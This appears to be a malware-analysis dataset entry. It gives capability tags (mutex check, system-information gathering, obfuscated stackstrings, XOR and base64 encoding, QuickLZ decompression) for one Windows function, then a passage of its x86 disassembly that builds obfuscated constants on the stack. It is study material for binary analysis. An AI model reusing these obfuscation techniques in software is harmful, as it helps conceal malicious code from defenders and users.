Function at 0x10001600
Capabilities:
Authenticate hmac
Check mutex on windows
Check os version
Contain obfuscated stackstrings
Decompress data using quicklz
Encode data using base64
Encode data using xor
Get system information on windows
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xc7a8
call fcn.100a37e0
push esi
mov byte [ebp - 1], 0xb5
mov byte [ebp - 2], 0x47
mov dword [ebp - 0x2a38], 0x73a1
mov byte [ebp - 3], 0xc9
mov byte [ebp - 4], 5
mov eax, 0x791
mov word [ebp - 0x4ac], ax
mov ecx, 0x571
mov word [ebp - 0x4b0], cx
mov dword [ebp - 0x2a3c], 0x1c4d
mov byte [ebp - 5], 5
mov byte [ebp - 6], 0x41
mov edx, 0x549
mov word [ebp - 0x4b4], dx
mov eax, 0x639
mov word [ebp - 0x4b8], ax
mov ecx, 0xa5
mov word [ebp - 0x4bc], cx
mov edx, 0x63d
mov word [ebp - 0x4c0], dx
mov byte [ebp - 7], 0x1f
mov eax, 0x609
mov word [ebp - 0x4c4], ax
mov byte [ebp - 8], 0x89
mov byte [ebp - 9], 0x67
mov ecx, 0xfdd
mov word [ebp - 0x4c8], cx
mov edx, 0x355
mov word [ebp - 0x4cc], dx
mov eax, 0x569
mov word [ebp - 0x4d0], ax
mov byte [ebp - 0xa], 0x3b
mov ecx, 0xf31
mov word [ebp - 0x4d4], cx
mov byte [ebp - 0xb], 0x55
mov byte [ebp - 0xc], 0xc1
mov dword [ebp - 0x2a40], 0x1fc9
mov byte [ebp - 0xd], 0x73
mov edx, 0xacf
mov word [ebp - 0x4d8], dx
mov dword [ebp - 0x2a44], 0x3289
mov eax, 0xfe1
mov word [ebp - 0x4dc], ax
mov ecx, 0x5fb
mov word [ebp - 0x4e0], cx
mov dword [ebp - 0x2a48], 0x61fb
mov dword [ebp - 0x2a4c], 0x1307
mov edx, 0x23b
mov word [ebp - 0x4e4], dx
mov byte [ebp - 0xe], 0x8f
mov byte [ebp - 0xf], 0x1d
mov dword [ebp - 0x2a50], 0x4785
mov eax, 0x911
mov word [ebp - 0x4e8], ax
mov dword [ebp - 0x2a54], 0x6ba7
mov byte [ebp - 0x10], 0x41
mov dword [ebp - 0x2a58], 0x4a39
mov ecx, 0x1cf
mov word [ebp - 0x4ec], cx
mov dword [ebp - 0x2a5c], 0x6b97
mov dword [ebp - 0x2a60], 0x7671
mov edx, 0xedb
mov word [ebp - 0x4f0], dx
mov dword [ebp - 0x2a64], 0x763b
mov dword [ebp - 0x2a68], 0x391b
mov byte [ebp - 0x11], 0x77
mov dword [ebp - 0x2a6c], 0x6911
mov dword [ebp - 0x2a70], 0x1315
mov dword [ebp - 0x2a74], 0x1fbd
mov eax, 0x6cf
mov word [ebp - 0x4f4], ax
mov dword [ebp - 0x2a78], 0x5dcb
mov byte [ebp - 0x12], 0x2d
mov dword [ebp - 0x2a7c], 0x204d
mov dword [ebp - 0x2a80], 0x62c3
mov byte [ebp - 0x13], 0x1d
mov dword [ebp - 0x2a84], 0x43f7
mov ecx, 0xf5
mov word [ebp - 0x4f8], cx
mov edx, 0xad
mov word [ebp - 0x4fc], dx
mov dword [ebp - 0x2a88], 0x46cd
mov dword [ebp - 0x2a8c], 0x2197
mov eax, 0x825
mov word [ebp - 0x500], ax
mov byte [ebp - 0x14], 0xf9
mov dword [ebp - 0x2a90], 0x1c75
mov dword [ebp - 0x2a94], 0x2e1b
mov byte [ebp - 0x15], 0x3d
mov byte [ebp - 0x16], 0x35
mov ecx, 0x843
mov word [ebp - 0x504], cx
mov edx, 0x8df
mov word [ebp - 0x508], dx
mov byte [ebp - 0x17], 0xe7
mov byte [ebp - 0x18], 0xbb
mov dword [ebp - 0x2a98], 0x1baf
mov eax, 0x33f
mov word [ebp - 0x50c], ax
mov byte [ebp - 0x19], 0xb3
mov byte [ebp - 0x1a], 0x3b
mov ecx, 0x7f3
mov word [ebp - 0x510], cx
mov dword [ebp - 0x2a9c], 0x1373
mov edx, 0x19f
mov word [ebp - 0x514], dx
mov byte [ebp - 0x1b], 0x69
mov byte [ebp - 0x1c], 0x51
mov byte [ebp - 0x1d], 0x4f
mov dword [ebp - 0x2aa0], 0x79e1
mov byte [ebp - 0x1e], 0xb
mov dword [ebp - 0x2aa4], 0x3b55
mov eax, 0xbfb
mov word [ebp - 0x518], ax
mov ecx, 0x73b
mov word [ebp - 0x51c], cx
mov edx, 0xbad
mov word [ebp - 0x520], dx
mov dword [ebp - 0x2aa8], 0x5f1
mov dword [ebp - 0x2aac], 0x7975
mov eax, 0x40b
mov word [ebp - 0x524], ax
mov dword [ebp - 0x2ab0], 0x6647
mov ecx, 0x40b
mov word [ebp - 0x528], cx
mov edx, 0x781
mov word [ebp - 0x52c], dx
mov dword [ebp - 0x2ab4], 0x1f9b
mov eax, 0xa51
mov word [ebp - 0x530], ax
mov dword [ebp - 0x2ab8], 0x9f
mov dword [ebp - 0x2abc], 0x4361
mov dword [ebp - 0x2ac0], 0x1a77
mov ecx, 0x5f
mov word [ebp - 0x534], cx
mov byte [ebp - 0x1f], 0x45
mov edx, 0x6f1
mov word [ebp - 0x538], dx
mov eax, 0xbdb
mov word [ebp - 0x53c], ax
mov ecx, 0x87
mov word [ebp - 0x540], cx
mov byte [ebp - 0x20], 0x5d
mov edx, 0x7f
mov word [ebp - 0x544], dx
mov dword [ebp - 0x2ac4], 0x929
mov byte [ebp - 0x21], 0xeb
mov dword [ebp - 0x2ac8], 0x58ff
mov dword [ebp - 0x2acc], 0x7569
mov dword [ebp - 0x2ad0], 0x2985
mov dword [ebp - 0x2ad4], 0x6b01
mov eax, 0x699
mov word [ebp - 0x548], ax
mov ecx, 0x5bb
mov word [ebp - 0x54c], cx
mov edx, 0x4c1
mov word [ebp - 0x550], dx
mov byte [ebp - 0x22], 0x15
mov eax, 0xb05
mov word [ebp - 0x554], ax
mov byte [ebp - 0x23], 0x9b
mov ecx, 0xd29
mov word [ebp - 0x558], cx
mov dword [ebp - 0x2ad8], 0x6c7f
mov byte [ebp - 0x24], 0x75
mov byte [ebp - 0x25], 0x23
mov edx, 0xac5
mov word [ebp - 0x55c], dx
mov eax, 0x323
mov word [ebp - 0x560], ax
mov dword [ebp - 0x2adc], 0x6ab9
mov byte [ebp - 0x26], 0x67
mov byte [ebp - 0x27], 0x33
mov dword [ebp - 0x2ae0], 0x1523
mov byte [ebp - 0x28], 0x7b
mov dword [ebp - 0x2ae4], 0x19f7
mov byte [ebp - 0x29], 0xc3
mov byte [ebp - 0x2a], 0xf3
mov ecx, 0x59b
mov word [ebp - 0x564], cx
mov dword [ebp - 0x2ae8], 0x6eab
mov dword [ebp - 0x2aec], 0x152b
mov edx, 0xb1
mov word [ebp - 0x568], dx
mov byte [ebp - 0x2b], 0xc9
mov byte [ebp - 0x2c], 0x21
mov byte [ebp - 0x2d], 0x5f
mov dword [ebp - 0x2af0], 0x4ed5
mov dword [ebp - 0x2af4], 0x2ee1
mov eax, 0x7c7
mov word [ebp - 0x56c], ax
mov byte [ebp - 0x2e], 0x11
mov byte [ebp - 0x2f], 0x83
mov dword [ebp - 0x2af8], 0x580b
mov ecx, 0x309
mov word [ebp - 0x570], cx
mov byte [ebp - 0x30], 0x61
mov dword [ebp - 0x2afc], 0x4ba3
mov edx, 0x3ef
mov word [ebp - 0x574], dx
mov eax, 0x39
mov word [ebp - 0x578], ax
mov byte [ebp - 0x31], 0x6d
mov byte [ebp - 0x32], 0x25
mov ecx, 0xe91
mov word [ebp - 0x57c], cx
mov byte [ebp - 0x33], 0x19
mov byte [ebp - 0x34], 0x47
mov edx, 0xbf1
mov word [ebp - 0x580], dx
mov eax, 0x5ab
mov word [ebp - 0x584], ax
mov dword [ebp - 0x2b00], 0x4b3f
mov dword [ebp - 0x2b04], 0x65c7
mov ecx, 0x5ab
mov word [ebp - 0x588], cx
mov byte [ebp - 0x35], 0x7b
mov dword [ebp - 0x2b08], 0x4bab
mov byte [ebp - 0x36], 0xa5
mov edx, 0x8b9
mov word [ebp - 0x58c], dx
mov byte [ebp - 0x37], 0x69
mov byte [ebp - 0x38], 0x25
mov eax, 0x91d
mov word [ebp - 0x590], ax
mov byte [ebp - 0x39], 0x79
mov ecx, 0xa05
mov word [ebp - 0x594], cx
mov edx, 0xcc9
mov word [ebp - 0x598], dx
mov dword [ebp - 0x2b0c], 0x1d4b
mov byte [ebp - 0x3a], 5
mov byte [ebp - 0x3b], 0x61
mov eax, 0xbeb
mov word [ebp - 0x59c], ax
mov byte [ebp - 0x3c], 0x39
mov byte [ebp - 0x3d], 0x5f
mov byte [ebp - 0x3e], 0x85
mov ecx, 0x5f3
mov word [ebp - 0x5a0], cx
mov byte [ebp - 0x3f], 0x17
mov edx, 0x307
mov word [ebp - 0x5a4], dx
mov dword [ebp - 0x2b10], 0x6de7
mov eax, 0x1a3
mov word [ebp - 0x5a8], ax
mov dword [ebp - 0x2b14], 0x16cf
mov ecx, 0x7bf
mov word [ebp - 0x5ac], cx
mov byte [ebp - 0x40], 0x4d
mov byte [ebp - 0x41], 0x51
mov dword [ebp - 0x2b18], 0x302d
mov byte [ebp - 0x42], 0x63
mov dword [ebp - 0x2b1c], 0x61c1
mov dword [ebp - 0x2b20], 0x666f
mov edx, 0x301
mov word [ebp - 0x5b0], dx
mov eax, 0xbd1
mov word [ebp - 0x5b4], ax
mov dword [ebp - 0x2b24], 0xd2b
mov byte [ebp - 0x43], 0xb
mov ecx, 0x179
mov word [ebp - 0x5b8], cx
mov dword [ebp - 0x2b28], 0x1689
mov byte [ebp - 0x44], 0x2f
mov dword [ebp - 0x2b2c], 0x3f25
mov byte [ebp - 0x45], 0xf
mov byte [ebp - 0x46], 0x61
mov byte [ebp - 0x47], 0x6f
mov byte [ebp - 0x48], 0xd3
mov dword [ebp - 0x2b30], 0x1797
mov edx, 0x321
mov word [ebp - 0x5bc], dx
mov dword [ebp - 0x2b34], 0x3d8d
mov eax, 0x46f
mov word [ebp - 0x5c0], ax
mov byte [ebp - 0x49], 0x55
mov ecx, 0x48d
mov word [ebp - 0x5c4], cx
mov byte [ebp - 0x4a], 0x7f
mov dword [ebp - 0x2b38], 0x703d
mov edx, 0x4f7
mov word [ebp - 0x5c8], dx
mov byte [ebp - 0x4b], 0x49
mov eax, 0x579
mov word [ebp - 0x5cc], ax
mov byte [ebp - 0x4c], 0x5b
mov dword [ebp - 0x2b3c], 0x2189
mov ecx, 0xa4b
mov word [ebp - 0x5d0], cx
mov dword [ebp - 0x2b40], 0x6191
mov edx, 0xca7
mov word [ebp - 0x5d4], dx
mov dword [ebp - 0x2b44], 0x7755
mov dword [ebp - 0x2b48], 0x7bd1
mov eax, 0x47f
mov word [ebp - 0x5d8], ax
mov dword [ebp - 0x2b4c], 0x7cf5
mov byte [ebp - 0x4d], 0xa1
mov ecx, 0x71
mov word [ebp - 0x5dc], cx
mov dword [ebp - 0x2b50], 0x8f3
mov edx, 0x5cb
mov word [ebp - 0x5e0], dx
mov byte [ebp - 0x4e], 0x83
mov eax, 0x3b5
mov word [ebp - 0x5e4], ax
mov byte [ebp - 0x4f], 0xb5
mov ecx, 0xafb
mov word [ebp - 0x5e8], cx
mov edx, 0xbfb
mov word [ebp - 0x5ec], dx
mov dword [ebp - 0x2b54], 0xe67
mov dword [ebp - 0x2b58], 0x23b9
mov dword [ebp - 0x2b5c], 0x6865
mov dword [ebp - 0x2b60], 0x1463
mov dword [ebp - 0x2b64], 0x3de1
mov dword [ebp - 0x2b68], 0x2de1
mov byte [ebp - 0x50], 5
mov byte [ebp - 0x51], 0x39
mov dword [ebp - 0x2b6c], 0x3899
mov dword [ebp - 0x2b70], 0x409f
mov dword [ebp - 0x2b74], 0x18a3
mov dword [ebp - 0x2b78], 0x38fb
mov dword [ebp - 0x2b7c], 0x1255
mov eax, 0x1b5
mov word [ebp - 0x5f0], ax
mov byte [ebp - 0x52], 0x1f
mov ecx, 0x48d
mov word [ebp - 0x5f4], cx
mov byte [ebp - 0x53], 0x13
mov edx, 0x13f
mov word [ebp - 0x5f8], dx
mov eax, 0x1c3
mov word [ebp - 0x5fc], ax
mov ecx, 0x45b
mov word [ebp - 0x600], cx
mov dword [ebp - 0x2b80], 0x565d
mov edx, 0x33b
mov word [ebp - 0x604], dx
mov byte [ebp - 0x54], 0x37
mov eax, 0x1b3
mov word [ebp - 0x608], ax
mov ecx, 0xb55
mov word [ebp - 0x60c], cx
mov edx, 0x335
mov word [ebp - 0x610], dx
mov eax, 0x27f
mov word [ebp - 0x614], ax
mov byte [ebp - 0x55], 0x1b
mov ecx, 0x3c1
mov word [ebp - 0x618], cx
mov edx, 0x9b1
mov word [ebp - 0x61c], dx
mov dword [ebp - 0x2b84], 0x1b5b
mov eax, 0x3b1
mov word [ebp - 0x620], ax
mov dword [ebp - 0x2b88], 0xf5d
mov ecx, 0x187
mov word [ebp - 0x624], cx
mov byte [ebp - 0x56], 0x33
mov edx, 0x177
mov word [ebp - 0x628], dx
mov eax, 0x35b
mov word [ebp - 0x62c], ax
mov ecx, 0xda7
mov word [ebp - 0x630], cx
mov byte [ebp - 0x57], 0x2d
mov dword [ebp - 0x2b8c], 0x3397
mov byte [ebp - 0x58], 0x7d
mov edx, 0xa87
mov word [ebp - 0x634], dx
mov eax, 0x3f
mov word [ebp - 0x638], ax
mov byte [ebp - 0x59], 0xb9
mov ecx, 0xa83
mov word [ebp - 0x63c], cx
mov edx, 0xb9
mov word [ebp - 0x640], dx
mov eax, 0x7bd
mov word [ebp - 0x644], ax
mov ecx, 0xa0f
mov word [ebp - 0x648], cx
mov dword [ebp - 0x2b90], 0x42f5
mov edx, 0x10f
mov word [ebp - 0x64c], dx
mov eax, 0x74d
mov word [ebp - 0x650], ax
mov byte [ebp - 0x5a], 0x2d
mov byte [ebp - 0x5b], 0x41
mov dword [ebp - 0x2b94], 0x541d
mov ecx, 0xef1
mov word [ebp - 0x654], cx
mov byte [ebp - 0x5c], 0xbf
mov edx, 0x699
mov word [ebp - 0x658], dx
mov byte [ebp - 0x5d], 0x4f
mov dword [ebp - 0x2b98], 0x7a55
mov eax, 0xbdf
mov word [ebp - 0x65c], ax
mov byte [ebp - 0x5e], 0x51
mov ecx, 0x533
mov word [ebp - 0x660], cx
mov dword [ebp - 0x2b9c], 0x5ae3
mov edx, 0x72f
mov word [ebp - 0x664], dx
mov dword [ebp - 0x2ba0], 0x783f
mov eax, 0x575
mov word [ebp - 0x668], ax
mov dword [ebp - 0x2ba4], 0x3f77
mov ecx, 0x4ed
mov word [ebp - 0x66c], cx
mov byte [ebp - 0x5f], 0x71
mov byte [ebp - 0x60], 0x19
mov byte [ebp - 0x61], 0x23
mov edx, 0x307
mov word [ebp - 0x670], dx
mov byte [ebp - 0x62], 0x45
mov dword [ebp - 0x2ba8], 0x54a3
mov eax, 0x1e5
mov word [ebp - 0x674], ax
mov dword [ebp - 0x2bac], 0x2ebd
mov byte [ebp - 0x63], 0x69
mov ecx, 0x6d7
mov word [ebp - 0x678], cx
mov edx, 0x119
mov word [ebp - 0x67c], dx
mov eax, 0x6e3
mov word [ebp - 0x680], ax
mov dword [ebp - 0x2bb0], 0x3a5f
mov ecx, 0x543
mov word [ebp - 0x684], cx
mov edx, 0xdad
mov word [ebp - 0x688], dx
mov byte [ebp - 0x64], 0x7b
mov eax, 0x301
mov word [ebp - 0x68c], ax
mov byte [ebp - 0x65], 0x65
mov ecx, 0x1fb
mov word [ebp - 0x690], cx
mov dword [ebp - 0x2bb4], 0x5467
mov dword [ebp - 0x2bb8], 0x2e4d
mov dword [ebp - 0x2bbc], 0x7b89
mov edx, 0x95f
mov word [ebp - 0x694], dx
mov byte [ebp - 0x66], 0x51
mov byte [ebp - 0x67], 0xf
mov byte [ebp - 0x68], 9
mov eax, 0x627
mov word [ebp - 0x698], ax
mov dword [ebp - 0x2bc0], 0x31f1
mov dword [ebp - 0x2bc4], 0xf3f
mov ecx, 0xf0f
mov word [ebp - 0x69c], cx
mov edx, 0xd15
mov word [ebp - 0x6a0], dx
mov eax, 0x399
mov word [ebp - 0x6a4], ax
mov byte [ebp - 0x69], 0x5f
mov byte [ebp - 0x6a], 0x1b
mov byte [ebp - 0x6b], 0x39
mov ecx, 0x8d3
mov word [ebp - 0x6a8], cx
mov byte [ebp - 0x6c], 0x5f
mov edx, 0x7bf
mov word [ebp - 0x6ac], dx
mov eax, 0x711
mov word [ebp - 0x6b0], ax
mov dword [ebp - 0x2bc8], 0x6249
mov byte [ebp - 0x6d], 0x65
mov dword [ebp - 0x2bcc], 0x34f7
mov ecx, 0x9bf
mov word [ebp - 0x6b4], cx
mov edx, 0x569
mov word [ebp - 0x6b8], dx
mov dword [ebp - 0x2bd0], 0x277f
mov eax, 0x66b
mov word [ebp - 0x6bc], ax
mov byte [ebp - 0x6e], 1
mov ecx, 0x743
mov word [ebp - 0x6c0], cx
mov dword [ebp - 0x2bd4], 0x1eb3
mov byte [ebp - 0x6f], 0x4f
mov edx, 0x6f9
mov word [ebp - 0x6c4], dx
mov eax, 0x49d
mov word [ebp - 0x6c8], ax
mov dword [ebp - 0x2bd8], 0x70cb
mov byte [ebp - 0x70], 0x5d
mov dword [ebp - 0x2bdc], 0x631
mov dword [ebp - 0x2be0], 0x5c83
mov dword [ebp - 0x2be4], 0x3d4b
mov ecx, 0xce5
mov word [ebp - 0x6cc], cx
mov byte [ebp - 0x71], 0x71
mov edx, 0xdd9
mov word [ebp - 0x6d0], dx
mov dword [ebp - 0x2be8], 0x1f77
mov eax, 0xf69
mov word [ebp - 0x6d4], ax
mov ecx, 0xf11
mov word [ebp - 0x6d8], cx
mov edx, 0xfa3
mov word [ebp - 0x6dc], dx
mov eax, 0x2e5
mov word [ebp - 0x6e0], ax
mov ecx, 0x679
mov word [ebp - 0x6e4], cx
mov edx, 0x791
mov word [ebp - 0x6e8], dx
mov dword [ebp - 0x2bec], 0x3901
mov dword [ebp - 0x2bf0], 0x5043
mov byte [ebp - 0x72], 1
mov byte [ebp - 0x73], 0x65
mov dword [ebp - 0x2bf4], 0x3cd5
mov eax, 0x667
mov word [ebp - 0x6ec], ax
mov dword [ebp - 0x2bf8], 0x3273
mov dword [ebp - 0x2bfc], 0x451
mov byte [ebp - 0x74], 0x1b
mov byte [ebp - 0x75], 0x67
mov ecx, 0xe73
mov word [ebp - 0x6f0], cx
mov dword [ebp - 0x2c00], 0x6e23
mov dword [ebp - 0x2c04], 0x56eb
mov edx, 0x223
mov word [ebp - 0x6f4], dx
mov byte [ebp - 0x76], 0xdd
mov eax, 0x223
mov word [ebp - 0x6f8], ax
mov ecx, 0xbe3
mov word [ebp - 0x6fc], cx
mov edx, 0x39f
mov word [ebp - 0x700], dx
mov eax, 0x3b5
mov word [ebp - 0x704], ax
mov ecx, 0x9f
mov word [ebp - 0x708], cx
mov byte [ebp - 0x77], 0x7f
mov byte [ebp - 0x78], 0x7d
mov byte [ebp - 0x79], 0x79
mov byte [ebp - 0x7a], 0x27
mov edx, 0x58d
mov word [ebp - 0x70c], dx
mov eax, 0x79b
mov word [ebp - 0x710], ax
mov ecx, 0xb79
mov word [ebp - 0x714], cx
mov edx, 0x5a5
mov word [ebp - 0x718], dx
mov dword [ebp - 0x2c08], 0x517f
mov eax, 0x3cd
mov word [ebp - 0x71c], ax
mov byte [ebp - 0x7b], 0x59
mov ecx, 0x3a7
mov word [ebp - 0x720], cx
mov dword [ebp - 0x2c0c], 0x1c71
mov edx, 0x10b
mov word [ebp - 0x724], dx
mov eax, 0xa5
mov word [ebp - 0x728], ax
mov dword [ebp - 0x2c10], 0x1507
mov ecx, 0xef1
mov word [ebp - 0x72c], cx
mov edx, 0x1c9
mov word [ebp - 0x730], dx
mov byte [ebp - 0x7c], 0x45
mov byte [ebp - 0x7d], 0xb3
mov byte [ebp - 0x7e], 0xaf
mov byte [ebp - 0x7f], 0x2b
mov eax, 0x699
mov word [ebp - 0x734], ax
mov ecx, 0x725
mov word [ebp - 0x738], cx
mov edx, 0xc67
mov word [ebp - 0x73c], dx
mov byte [ebp - 0x80], 0xb
mov byte [ebp - 0x81], 0xf
mov dword [ebp - 0x2c14], 0x166d
mov byte [ebp - 0x82], 0x77
mov dword [ebp - 0x2c18], 0x504d
mov eax, 0x76b
mov word [ebp - 0x740], ax
mov byte [ebp - 0x83], 0x8d
mov ecx, 0x6f9
mov word [ebp - 0x744], cx
mov dword [ebp - 0x2c1c], 0x7195
mov edx, 0x45
mov word [ebp - 0x748], dx
mov eax, 0xe6b
mov word [ebp - 0x74c], ax
mov byte [ebp - 0x84], 0xd1
mov dword [ebp - 0x2c20], 0x1ee3
mov byte [ebp - 0x85], 0x25
mov dword [ebp - 0x2c24], 0x5d07
mov byte [ebp - 0x86], 0x43
mov ecx, 0x3e3
mov word [ebp - 0x750], cx
mov edx, 0x8f
mov word [ebp - 0x754], dx
mov eax, 0xddb
mov word [ebp - 0x758], ax
mov ecx, 0xae1
mov word [ebp - 0x75c], cx
mov edx, 0x7db
mov word [ebp - 0x760], dx
mov dword [ebp - 0x2c28], 0x66b9
mov byte [ebp - 0x87], 0x21
mov byte [ebp - 0x88], 0x7d
mov dword [ebp - 0x2c2c], 0x4f21
mov eax, 0xc8f
mov word [ebp - 0x764], ax
mov byte [ebp - 0x89], 0x7b
mov dword [ebp - 0x2c30], 0x670f
mov ecx, 0x3d5
mov word [ebp - 0x768], cx
mov dword [ebp - 0x2c34], 0x6aed
mov dword [ebp - 0x2c38], 0x119
mov edx, 0x5fd
mov word [ebp - 0x76c], dx
mov eax, 0xed
mov word [ebp - 0x770], ax
mov ecx, 0x6f5
mov word [ebp - 0x774], cx
mov dword [ebp - 0x2c3c], 0x2295
mov edx, 0x65b
mov word [ebp - 0x778], dx
mov dword [ebp - 0x2c40], 0x1805
mov eax, 0x50d
mov word [ebp - 0x77c], ax
mov ecx, 0x86b
mov word [ebp - 0x780], cx
mov byte [ebp - 0x8a], 0x11
mov edx, 0x48b
mov word [ebp - 0x784], dx
mov eax, 0x3a9
mov word [ebp - 0x788], ax
mov ecx, 0x7c7
mov word [ebp - 0x78c], cx
mov edx, 0x4c1
mov word [ebp - 0x790], dx
mov eax, 0x8c9
mov word [ebp - 0x794], ax
mov byte [ebp - 0x8b], 0x6d
mov ecx, 0xffb
mov word [ebp - 0x798], cx
mov byte [ebp - 0x8c], 0xef
mov dword [ebp - 0x2c44], 0x43c1
mov dword [ebp - 0x2c48], 0x65e1
mov dword [ebp - 0x2c4c], 0x29df
mov byte [ebp - 0x8d], 0xbf
mov dword [ebp - 0x2c50], 0x5417
mov dword [ebp - 0x2c54], 0x178b
mov dword [ebp - 0x2c58], 0xdfb
mov edx, 0x33f
mov word [ebp - 0x79c], dx
mov eax, 0x97
mov word [ebp - 0x7a0], ax
mov ecx, 0x19
mov word [ebp - 0x7a4], cx
mov byte [ebp - 0x8e], 0xaf
mov byte [ebp - 0x8f], 0x31
mov byte [ebp - 0x90], 0x5b
mov byte [ebp - 0x91], 0x9b
mov dword [ebp - 0x2c5c], 0x5771
mov byte [ebp - 0x92], 5
mov byte [ebp - 0x93], 0x85
mov byte [ebp - 0x94], 0x5f
mov byte [ebp - 0x95], 0x29
mov byte [ebp - 0x96], 0x57
mov dword [ebp - 0x2c60], 0x995
mov byte [ebp - 0x97], 0x3d
mov edx, 0x9a5
mov word [ebp - 0x7a8], dx
mov dword [ebp - 0x2c64], 0x64d9
mov byte [ebp - 0x98], 0x17
mov byte [ebp - 0x99], 0xe1
mov dword [ebp - 0x2c68], 0x1d73
mov eax, 0x5d3
mov word [ebp - 0x7ac], ax
mov byte [ebp - 0x9a], 0x35
mov ecx, 0xb3
mov word [ebp - 0x7b0], cx
mov edx, 0x791
mov word [ebp - 0x7b4], dx
mov eax, 0x41f
mov word [ebp - 0x7b8], ax
mov ecx, 0x299
mov word [ebp - 0x7bc], cx
mov byte [ebp - 0x9b], 0x7f
mov edx, 0xd87
mov word [ebp - 0x7c0], dx
mov eax, 0x107
mov word [ebp - 0x7c4], ax
mov ecx, 0x1d5
mov word [ebp - 0x7c8], cx
mov edx, 0x19d
mov word [ebp - 0x7cc], dx
mov dword [ebp - 0x2c6c], 0x45d7
mov eax, 0x335
mov word [ebp - 0x7d0], ax
mov dword [ebp - 0x2c70], 0x751d
mov byte [ebp - 0x9c], 0x25
mov dword [ebp - 0x2c74], 0x6065
mov ecx, 0x4cb
mov word [ebp - 0x7d4], cx
mov dword [ebp - 0x2c78], 0x6c19
mov byte [ebp - 0x9d], 0x5d
mov byte [ebp - 0x9e], 0x5f
mov edx, 0x513
mov word [ebp - 0x7d8], dx
mov byte [ebp - 0x9f], 0x55
mov dword [ebp - 0x2c7c], 0x4133
mov dword [ebp - 0x2c80], 0x7a17
mov eax, 0x4e3
mov word [ebp - 0x7dc], ax
mov dword [ebp - 0x2c84], 0x56df
mov ecx, 0x489
mov word [ebp - 0x7e0], cx
mov edx, 0x1cf
mov word [ebp - 0x7e4], dx
mov byte [ebp - 0xa0], 0x4f
mov byte [ebp - 0xa1], 0x53
mov eax, 0x525
mov word [ebp - 0x7e8], ax
mov dword [ebp - 0x2c88], 0x3d51
mov ecx, 0x9d
mov word [ebp - 0x7ec], cx
mov dword [ebp - 0x2c8c], 0x24a3
mov edx, 0x329
mov word [ebp - 0x7f0], dx
mov dword [ebp - 0x2c90], 0x17a5
mov eax, 0x203
mov word [ebp - 0x7f4], ax
mov dword [ebp - 0x2c94], 0x3079
mov byte [ebp - 0xa2], 0x43
mov byte [ebp - 0xa3], 0xdd
mov dword [ebp - 0x2c98], 0x2ea1
mov ecx, 0x971
mov word [ebp - 0x7f8], cx
mov edx, 0x2f7
mov word [ebp - 0x7fc], dx
mov dword [ebp - 0x2c9c], 0x1299
mov byte [ebp - 0xa4], 0x7b
mov byte [ebp - 0xa5], 0xd
mov eax, 0x2b9
mov word [ebp - 0x800], ax
mov ecx, 0x591
mov word [ebp - 0x804], cx
mov dword [ebp - 0x2ca0], 0x69e9
mov edx, 0x987
mov word [ebp - 0x808], dx
mov eax, 0x5e9
mov word [ebp - 0x80c], ax
mov ecx, 0x811
mov word [ebp - 0x810], cx
mov edx, 0x3f1
mov word [ebp - 0x814], dx
mov byte [ebp - 0xa6], 0xd7
mov eax, 0xb17
mov word [ebp - 0x818], ax
mov ecx, 0x2d3
mov word [ebp - 0x81c], cx
mov dword [ebp - 0x2ca4], 0x343
mov byte [ebp - 0xa7], 0x87
mov dword [ebp - 0x2ca8], 0x6815
mov edx, 0x21d
mov word [ebp - 0x820], dx
mov dword [ebp - 0x2cac], 0x75b1
mov dword [ebp - 0x2cb0], 0x4713
mov eax, 0x8b
mov word [ebp - 0x824], ax
mov ecx, 0x7b1
mov word [ebp - 0x828], cx
mov byte [ebp - 0xa8], 0xb9
mov edx, 0xb81
mov word [ebp - 0x82c], dx
mov eax, 0x3cd
mov word [ebp - 0x830], ax
mov dword [ebp - 0x2cb4], 0x3d9d
mov byte [ebp - 0xa9], 0x1b
mov byte [ebp - 0xaa], 5
mov dword [ebp - 0x2cb8], 0x5f3f
mov byte [ebp - 0xab], 0x49
mov ecx, 0x571
mov word [ebp - 0x834], cx
mov byte [ebp - 0xac], 0x2f
mov edx, 0x605
mov word [ebp - 0x838], dx
mov byte [ebp - 0xad], 0x19
mov byte [ebp - 0xae], 0x3f
mov byte [ebp - 0xaf], 0x45
mov eax, 0x185
mov word [ebp - 0x83c], ax
mov dword [ebp - 0x2cbc], 0x62dd
mov dword [ebp - 0x2cc0], 0x19b5
mov ecx, 0x613
mov word [ebp - 0x840], cx
mov dword [ebp - 0x2cc4], 0x2e5f
mov edx, 0x41d
mov word [ebp - 0x844], dx
mov byte [ebp - 0xb0], 0x65
mov eax, 0xe7f
mov word [ebp - 0x848], ax
mov byte [ebp - 0xb1], 0x29
mov dword [ebp - 0x2cc8], 0x3ec5
mov ecx, 0xa1f
mov word [ebp - 0x84c], cx
mov edx, 0x4a9
mov word [ebp - 0x850], dx
mov eax, 0x4ad
mov word [ebp - 0x854], ax
mov ecx, 0x661
mov word [ebp - 0x858], cx
mov edx, 0x4b9
mov word [ebp - 0x85c], dx
mov eax, 0x7c1
mov word [ebp - 0x860], ax
mov ecx, 0x4c7
mov word [ebp - 0x864], cx
mov dword [ebp - 0x2ccc], 0x6d13
mov dword [ebp - 0x2cd0], 0x22a3
mov edx, 0x405
mov word [ebp - 0x868], dx
mov eax, 0x34f
mov word [ebp - 0x86c], ax
mov dword [ebp - 0x2cd4], 0xfc5
mov byte [ebp - 0xb2], 0x6d
mov byte [ebp - 0xb3], 0xcb
mov byte [ebp - 0xb4], 0x3b
mov byte [ebp - 0xb5], 0x73
mov ecx, 0xd15
mov word [ebp - 0x870], cx
mov byte [ebp - 0xb6], 0x25
mov edx, 0xa3
mov word [ebp - 0x874], dx
mov eax, 0x719
mov word [ebp - 0x878], ax
mov byte [ebp - 0xb7], 0xaf
mov dword [ebp - 0x2cd8], 0x1ad1
mov byte [ebp - 0xb8], 0x23
mov byte [ebp - 0xb9], 0x19
mov dword [ebp - 0x2cdc], 0x68e3
mov byte [ebp - 0xba], 0x6d
mov dword [ebp - 0x2ce0], 0x2533
mov ecx, 0xa07
mov word [ebp - 0x87c], cx
mov edx, 0x723
mov word [ebp - 0x880], dx
mov eax, 0x1dd
mov word [ebp - 0x884], ax
mov ecx, 0x7f5
mov word [ebp - 0x888], cx
mov edx, 0xfb
mov word [ebp - 0x88c], dx
mov dword [ebp - 0x2ce4], 0x3b8d
mov byte [ebp - 0xbb], 0x3d
mov eax, 0xe5
mov word [ebp - 0x890], ax
mov ecx, 0x65
mov word [ebp - 0x894], cx
mov dword [ebp - 0x2ce8], 0x5121
mov byte [ebp - 0xbc], 0x79
mov byte [ebp - 0xbd], 0x49
mov edx, 0xa39
